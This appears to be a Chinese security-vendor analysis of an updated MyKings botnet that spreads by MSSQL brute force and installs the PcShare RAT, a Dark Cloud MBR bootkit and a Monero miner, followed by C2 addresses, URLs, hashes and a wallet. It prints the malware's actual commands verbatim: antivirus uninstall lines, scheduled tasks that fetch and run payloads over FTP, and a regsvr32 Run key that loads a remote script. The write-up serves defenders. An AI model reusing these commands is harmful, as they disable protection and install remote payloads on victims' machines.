更新后的Mykings会在被感染系统安装开源远程控制木马PcShare,对受害电脑进行远程控制:可进行操作文件、服务、注册表、进程、窗口等多种资源,并且可以下载和执行指定的程序。
Mykings僵尸网络木马还会关闭Windows Defender、检测卸载常见杀毒软件;卸载竞品挖矿木马和旧版挖矿木马;下载“暗云”木马感染硬盘主引导记录(MBR)实现长期驻留;通过计划任务、添加启动项等实现开机自动运行等行为。
MyKings僵尸网络最早于2017年2月左右开始出现,该僵尸网络通过扫描互联网上 1433 及其他多个端口渗透进入受害者主机,然后传播包括DDoS、Proxy(代理服务)、RAT(远程控制木马)、Miner(挖矿木马)、暗云III在内的多种不同用途的恶意代码。由于MyKings僵尸网络主动扩散的能力较强,影响范围较广,对企业用户危害严重。根据门罗币钱包算力1000KH/s进行推测,Mykings僵尸网络目前已控制超过5万台电脑进行挖矿作业。
mykings通过mssql爆破(1433端口)攻击windows服务器,爆破登陆成功后执行Powershell脚本power.txt。Power.txt首先关闭Windows Defender相关功能,然后下载kill.txt清除旧版挖矿程序。
Kill.txt根据进程名匹配旧版挖矿程序,其中标记为“1”代表清除对应的WMI启动项,列表中Mykings常用进程名包括:
uihost64.exe、dhelper.exe、msinfo.exe、u.exe、lsmose.exe、lsmos.exe、lsmo.exe、csrw.exe、csrw.exe、lsmosee.exe、lsmma.exe、lsmm.exe、lsmmaa.exe、lsmma.exe、new.exe、upsupx.exe、lsma.exe、lsmab.exe、lsmaaa.exe、lsma30.exe、lsma31.exe
删除旧版WMI事件过滤器“fuckyoumm2_filter”、消费者“fuckyoumm2_consumer”,从而删除WMI启动项。
Power.txt接着下载uninstall.txt执行,完成卸载杀软、删除旧版挖矿木马、以及通过安装Windows计划任务、RUN启动项、WMI启动项进行本地持久化操作。
wmic.exe product where “name like ‘%Eset%’” call uninstall /nointeractive
wmic.exe product where “name like ‘%%Kaspersky%%’” call uninstall /nointeractive
wmic.exe product where “name like ‘%avast%’” call uninstall /nointeractive
wmic.exe product where “name like ‘%avp%’” call uninstall /nointeractive
wmic.exe product where “name like ‘%Security%’” call uninstall /nointeractive
wmic.exe product where “name like ‘%AntiVirus%’” call uninstall /nointeractive
wmic.exe product where “name like ‘%Norton Security%’” call uninstall /nointeractive
cmd /c “C:\Progra
1\Malwarebytes\Anti-Malware\unins000.exe” /verysilent /suppressmsgboxes /norestart
2、安装计划任务“oka”启动新版挖矿木马lsma12.exe,杀死进程java.exe;
schtasks /create /tn “oka” /tr “cmd /c start c:\windows\inf\aspnet\lsma12.exe -p” /ru “system” /sc onstart /Fwmic.exe process where ExecutablePath=’c:\windows\java\java.exe’ call Terminate
3、安装计划任务”Mysa”、”Mysa2”,在每次系统启动时执行命令,使用账号test密码1433登陆FTP服务器ftp[.]ftp0930[.]host下载木马a1.exe和s1.rar并执行;
schtasks /create /tn “Mysa” /tr “cmd /c echo open ftp.ftp0930.host >s
echo test>>s
echo 1433>>s
echo binary>>s
echo get a1.exe c:\windows\update.exe>>s
echo bye>>s
ftp -s:s
c:\windows\update.exe” /ru “system” /sc onstart /F
schtasks /create /tn “Mysa2” /tr “cmd /c echo open ftp.ftp0930.host>ps
echo test>>ps
echo 1433>>ps
echo get s1.rar c:\windows\help\lsmosee.exe>>ps
echo bye>>ps
ftp -s:ps
c:\windows\help\lsmosee.exe” /ru “system” /sc onstart /F
4、设置拒绝“system”用户访问指定文件和路径;
cacls c:\windows\java\java.exe /e /d system
cacls c:\windows\temp\servtestdos.dll /e /d system
cacls C:\WINDOWS\Fonts\cd /e /d system
5、安装RUN启动项“start”负责下载执行脚本v1.sct,同时删除旧启动项“start1”,删除旧计划任务“Mysa3”、“ok”、“Mysa1”、“my1”。
reg add “HKLM\Software\Microsoft\Windows\CurrentVersion\Run” /v “start” /d “regsvr*32 /u /s /i:http[:]//js.down0116.info:280/v1.sct scrobj.dll” /f
reg add “HKLM\Software\wow6432node\Microsoft\Windows\CurrentVersion\Run” /v “start” /d “regsvr*32 /u /s /i:http[:]//js.down0116.info:280/v1.sct scrobj.dll” /f
reg delete HKlm\Software\Microsoft\Windows\CurrentVersion\Run /v “start1” /f
SCHTASKS /Delete /TN “Mysa3” /F
SCHTASKS /Delete /TN “ok” /F
SCHTASKS /Delete /TN “Mysa1” /F
SCHTASKS /Delete /TN “my1” /F
6、继续删除旧版的名称为“coronav”(新冠)的WMI启动项,同时安装新版的“coronav”WMI启动项,在其中通过Powershell下载和执行以下脚本:
http[:]//ruisgood.ru/power.txt
http[:]//gamesoxalic.com/power.txt
或者通过regsvr*32下载和执行脚本:
http[:]//ruisgood.ru/s.txt
http[:]//gamesoxalic.com/s.txt
7、安装WMI启动项“fuckamm3”、“fuckamm4”启动新版挖矿木马程序:
8、Download.txt负责下载门罗币挖矿程序、Mykings更新程序和安装“暗云”木马感染程序:
Download.txt下载的ups.dat为自解压程序,解压后释放多个文件到temp目录下,执行竞品挖矿木马清除、挖矿木马下载和启动,以及安装启动项等更新操作。释放的文件包括:
c:\windows\temp\ntuser.dat
c:\windows\temp\upx.exe
%temp%\c3.bat
%temp%\excludes
%temp%\n.vbs
Download.txt 下载的“暗云”木马max.rar会感染MBR执行shellcode,从云端获取Payload并最终获取Mykings相关木马文件。下载Payload网络流量如下:
首先从C2服务器http[:]//95.214.9.95/pld/cmd.txt下载cmd.txt。
然后向服务器(http[:]//95.214.9.95/pld/login.aspx?uid=&info=)发送上线信息,参数包括设备标识号uid和info,其中info包括计算机名、出口IP、CPU型号、CPU数量、内存大小信息,info数据经过base64编码,服务器接收数据后返回“AcceptOK”。
返回数据cmd.txt中指定下载的20200809.rar为PcShare开源远控木马,该木马在github上有多个版本https[:]//github.com/LiveMirror/pcshare。木马下载后被拷贝至:
c:\windows\debug\item.dat,启动命令为:
rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa。
PcShare可根据服务端指令执行以下多种远控功能,该木马源代码在多个共享平台可供下载,黑客可以随意下载和重新修改编译。
1.枚举、创建、重命名、删除文件和目录
2.枚举和终止进程
3.编辑注册表项和值
4.枚举和修改服务
5.枚举和控制窗口
6.执行二进制文件
7.从C&C或提供的URL下载其他文件
8.将文件上传到C&C
9.执行shell命令
10.显示消息框
11.重新启动或关闭系统
PcShare连接C2服务器:192.187.111.66:5566。
Download.txt从地址http[:]//ruisgood.ru/1201.rar下载得到XMRig挖矿程序,从地址http[:]//ruisgood.ru/config2.json下载得到挖矿配置文件,然后启动挖矿进程:
c:\windows\inf\aspnet\lsma12.exe
挖矿时使用矿池:xmr-eu1.nanopool.org:14444
门罗币钱包:
4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQo6GYsXhWxuSrS7Uka
查询该钱包,已挖矿获得143个XMR,折合¥8万余元。而其矿池算力平均为1000Kh/s(盈利100美元/天),可推算约5万台电脑被控制挖矿。
C&C
192.187.111.66:5566
95.214.9.95
Domain
ruisgood.ru
ftp.ftp0801.ru
gamesoxalic.com
ftp.ftp0930.host
js.down0116.info
js.mys2016.info
wmi.1217bye.host
js.5b6b7b.ru
up.mykings.pw
kriso.ru
f321y.com
down.f4321y.com
IP
199.168.100.74
173.247.239.186
174.128.235.243
223.25.247.152
167.88.180.175
139.5.177.10
173.247.239.186
185.239.227.82
URL
http[:]//ruisgood.ru/ups.dat
http[:]//ruisgood.ru/power.txt
http[:]//ruisgood.ru/1201.rar
http[:]//ruisgood.ru/uninstall.txt
http[:]//ruisgood.ru/max.rar
http[:]//ruisgood.ru/config2.json
http[:]//ruisgood.ru/s.txt
http[:]//ruisgood.ru/upx.exe
http[:]//ruisgood.ru/s.xsl
http[:]//ruisgood.ru/download2.txt
http[:]//ruisgood.ru/batpower.txt
http[:]//ruisgood.ru/ups.dat
http[:]//ruisgood.ru/download.txt
http[:]//ruisgood.ru/kill.txt
http[:]//ruisgood.ru/up.txt
http[:]//ruisgood.ru/wmi.txt
http[:]//ruisgood.ru/batpower.tx
http[:]//ruisgood.ru/up2.txt
http[:]//gamesoxalic.com/power.txt
http[:]//gamesoxalic.com/s.txt
ftp[:]//199.168.100.74/aa.exe
ftp[:]//199.168.100.74/1.dat
ftp[:]//ftp.ftp0801.ru/1.dat
ftp[:]//ftp.ftp0801.ru/aa.exe
ftp[:]//ftp.ftp0930.host/a1.exe
ftp[:]//ftp.ftp0930.host/s1.rar
http[:]//js.down0116.info:280/v1.sct
http[:]//174.128.235.243/wmi.txt
http[:]//174.128.235.243/upsupx2.exe
http[:]//174.128.235.243/u.exe
http[:]//199.168.100.74/20200809.rar
http[:]//199.168.100.74:8074/1201.rar
http[:]//173.247.239.186:9999/max.exe
http[:]//173.247.239.186:9999/u.exe
http[:]//185.239.227.82:8082/2.exe
http[:]//wmi.1217bye.host/S.ps1
http[:]//95.214.9.95/pld/cmd.txt
http[:]//223.25.247.152:8152/batpower.txt
http[:]//167.88.180.175:8175/kill.txt
http[:]//167.88.180.175:8175/uninstall.txt
http[:]//139.5.177.10:280/psa.jpg
http[:]//199.168.100.74/2.exe
http[:]//199.168.100.74:8074/2.exe
http[:]//173.247.239.186/2.exe
http[:]//185.239.227.82:8082/2.exe
http[:]//173.247.239.186:9999/2.exe
http[:]//js.5b6b7b.ru/v.sct
http[:]//js.5b6b7b.ru:280/v.sct
http[:]//up.mykings.pw/update.txt
http[:]//kriso.ru/java12.dat
http[:]//js.ftp0930.host/helloworld.msi
http[:]//f321y.com:8888/dhelper.dat
http[:]//down.f4321y.com:8888/kill.html
md5
20200809.rar | dce4ac18798ea897cdc9e09e06b178be |
---|---|
max.rar | bc7fc83ce9762eb97dc28ed1b79a0a10 |
u.exe | d9c32681d65c18d9955f5db42154a0f3 |
ups.dat | d1f978c88023639d6325805eb562de8c |
upsupx2.exe | b5cd8af63e35db23eb1c6a4eb8244c45 |
address.txt | 83bdb3a6fb995788de262b22919524f1 |
cloud.txt | 6b9b70f4e0c8885d12169045e906d698 |
cmd.txt | 6def7a0c5707f24a912c79f6520ca86f |
kill.txt | 1573ab993edc98decc09423fd82ec5ed |
micro | f0129d85b17ee4d29ef52c63e0e548a4 |
power.txt | 5670f0839333e4b160be05177601b40c |
uninstall.txt | 6092899216610fea5c65e416b34c1777 |
update.txt | 581a86fea2afeb9b9d6d04c9a8f0a5c1 |
wmi.txt | 6afc95f60630a588a7826608c70a60c8 |
wpd.jpg | bbae338b0cac5a2d169b8c535f33bfa0 |
batpower.txt | 40160c782c2a41eed8d8eaf0c706050a |
up.txt | 6c190a44db2118d9c07037d769e0a62d |
ups.txt | f41a8a69361fccc13344493c04a4f0d8 |
s.ps1 | 966abd05b7ad1b0b89d2a846f8a5a8f2 |
testav.dat | d4f7a3f44ae3f21863b1440219388a5b |
psa.jpg | 9cb1c1a78ce3efe57eef5f128b43710a |
门罗币钱包:
4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQo6GYsXhWxuSrS7Uka
https://www.freebuf.com/articles/193260.html
https://www.freebuf.com/articles/network/161286.html
https://blogs.blackberry.com/en/2019/09/pcshare-backdoor-attacks-targeting-windows-users-with-fakenarrator-malware